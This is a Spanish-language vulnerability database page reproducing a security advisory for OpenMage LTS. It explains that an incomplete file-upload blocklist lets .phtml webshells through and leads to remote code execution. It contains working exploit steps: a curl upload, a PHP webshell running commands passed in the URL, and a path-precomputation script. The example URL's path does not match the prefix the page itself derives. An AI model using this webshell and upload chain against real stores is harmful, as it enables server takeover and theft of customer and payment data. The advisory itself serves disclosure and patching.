Alta

OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution

  • Publicada: 21.04.2026
  • Actualizado: 11.10.2026 10:22

The product custom option file upload in OpenMage LTS uses an incomplete blocklist (forbidden_extensions = php,exe) to prevent dangerous file uploads. This blocklist can be trivially bypassed by using alternative PHP-executable extensions such as .phtml, .phar, .php3, .php4, .php5, .php7, and .pht. Files are stored in the publicly accessible media/custom_options/quote/ directory, which lacks server-side execution restrictions for some configurations, enabling Remote Code Execution if this directory is not explicitly denied script execution.

Affected Version

  • Project: OpenMage/magento-lts
  • Vulnerable File: https://github.com/OpenMage/magento-lts/blob/main/app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php
  • Vulnerable Lines: 230-237 (_validateUploadedFile())
  • Configuration: app/code/core/Mage/Catalog/etc/config.xml:824

Root Cause

The file upload handler uses Zend_File_Transfer_Adapter_Http directly with ExcludeExtension validator, referencing only:

xml
<!-- Catalog/etc/config.xml:824 -->
<forbidden_extensions>php,exe</forbidden_extensions>

This misses the comprehensive protected_extensions blocklist defined elsewhere:

xml
<!-- Core/etc/config.xml:449-478 -->
php, php3, php4, php5, php7, htaccess, jsp, pl, py, asp, sh, cgi, 
htm, html, pht, phtml, shtml

Vulnerable Code

php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:230-237
$_allowed = $this->_parseExtensionsString($option->getFileExtension());
if ($_allowed !== null) {
    $upload->addValidator('Extension', false, $_allowed);
} else {
    $_forbidden = $this->_parseExtensionsString($this->getConfigData('forbidden_extensions'));
    if ($_forbidden !== null) {
        $upload->addValidator('ExcludeExtension', false, $_forbidden);  // Only blocks php,exe!
    }
}

Steps to Reproduce

1. Environment Setup

Target: OpenMage LTS with Apache+mod_php or Apache+PHP-FPM (with .phtml handler)

2. Exploitation

bash
# Upload .phtml (bypasses blocklist)
curl -X POST "https://target.com/vulnerable_upload.php" \
  -F "file=@shell.phtml;filename=shell.phtml"

Result: <img width="1563" height="733" alt="image" src="https://github.com/user-attachments/assets/c56d43e8-364a-4402-8198-9f49a50fd691" />

3. Code Execution

OpenMage derives the uploaded file's storage path deterministically from two values the attacker already controls:

Subdirectory — getDispretionPath($filename) takes the first two characters of the uploaded filename and uses them as nested directory names:

filename = "shell.phtml"  →  s/ h/  →  media/custom_options/quote/s/h/

Filename — md5(file_get_contents($tmp_name)) is computed over the raw bytes of the uploaded payload (File.php:245):

php
// app/code/core/Mage/Catalog/Model/Product/Option/Type/File.php:245
$fileHash = md5(file_get_contents($fileInfo['tmp_name']));
$filePath  = $dispersion . DS . $fileHash . '.' . $extension;

Because the attacker writes the webshell themselves, both the filename prefix and file contents are known before the upload request is sent. The full URL can be pre-computed:

bash
SHELL_CONTENT='<?php echo exec("id"); system($_GET["cmd"]??"id"); ?>\n'
HASH=$(echo -n "$SHELL_CONTENT" | md5sum | cut -d' ' -f1)
PREFIX=$(echo "shell" | cut -c1-2 | sed 's/./&\//g' | tr -d '\n' | sed 's/\/$//') # → s/h

```bash
curl "https://target.com/media/custom_options/quote/d9/bb4d647f16d9e7edfe49216140de2879.phtml"

Result: RCE Confirmed

<img width="1559" height="827" alt="image" src="https://github.com/user-attachments/assets/12990f06-8750-48e6-87c5-add18b9e7260" />

Affected Deployments

Configuration Status
Apache + mod_php (with php_flag engine 0) SAFE
Apache + PHP-FPM VULNERABLE
Nginx (reference hardened config) SAFE
Nginx (generic config with .phtml→FPM) VULNERABLE

Impact

  1. Remote Code Execution: Full server compromise through webshell upload
  2. Data Exfiltration: Access to database credentials, customer PII, payment data
  3. Lateral Movement: Pivot to internal infrastructure
  4. Supply Chain: Inject malicious code into served content

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer openmage/magento-lts < 20.17.0 20.17.0

Referencias

Puntuación CVSS 8.8/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-434
Plataforma
Composer
Paquete
openmage/magento-lts
Publicada
21.04.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-3j5q-7q7h-2hhv - CC BY 4.0

Historial de vulnerabilidades: openmage/magento-lts

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (26) en el archivo
Entradas en total
26
Primera → última
08.2020 05.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Crítica 3
  • Alta 12
  • Media 10
  • Baja 1

Divulgaciones por año

  1. 2020: 2
  2. 2021: 4
  3. 2022: 0
  4. 2023: 8
  5. 2024: 2
  6. 2025: 2
  7. 2026: 8
Gravedad:
  1. OpenMage LTS: Customer File Upload Extension Blocklist Bypass → Remote Code Execution esta entrada
    Alta · 8.8 CVE-2026-40488 < 20.17.0 20.17.0
  2. Alta · 8.1 CVE-2026-25524 < 20.17.0 20.17.0
  3. Alta · 7.5 ghsa-9j5w-2cqc-cwj9 < 20.2.0 20.2.0
  4. Alta · 7.5 CVE-2023-41879 < 19.5.1, >= 20.0.0, < 20.1.1 19.5.1, 20.1.1
  5. Alta · 7.2 CVE-2021-41231 < 19.4.22, >= 20.0.0, < 20.0.19 19.4.22, 20.0.19
  6. Alta · 8.8 CVE-2021-41144 < 19.4.22, >= 20.0.0, < 20.0.19 19.4.22, 20.0.19
  7. Alta · 7.2 CVE-2021-41143 < 19.4.22, >= 20.0.0, < 20.0.19 19.4.22, 20.0.19
  8. Alta · 7.2 CVE-2021-39217 < 19.4.22, >= 20.0.0, < 20.0.19 19.4.22, 20.0.19
  9. Alta CVE-2021-32758 < 19.4.15, >= 20.0.0, < 20.0.13 19.4.15, 20.0.13
  10. Alta CVE-2021-32759 < 19.4.15, >= 20.0.0, < 20.0.13 19.4.15, 20.0.13
  11. Crítica · 9.1 CVE-2021-21427 < 19.4.13, >= 20.0.0, < 20.0.9 19.4.13, 20.0.9
  12. Crítica · 9.8 CVE-2021-21426 < 19.4.13, >= 20.0.0, < 20.0.9 19.4.13, 20.0.9
  13. Alta · 8.0 CVE-2020-15244 < 19.4.8, >= 20.0.0, < 20.0.4 19.4.8, 20.0.4
  14. Alta · 8.0 CVE-2020-15151 < 19.4.6, >= 20.0.0, < 20.0.2 19.4.6, 20.0.2

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.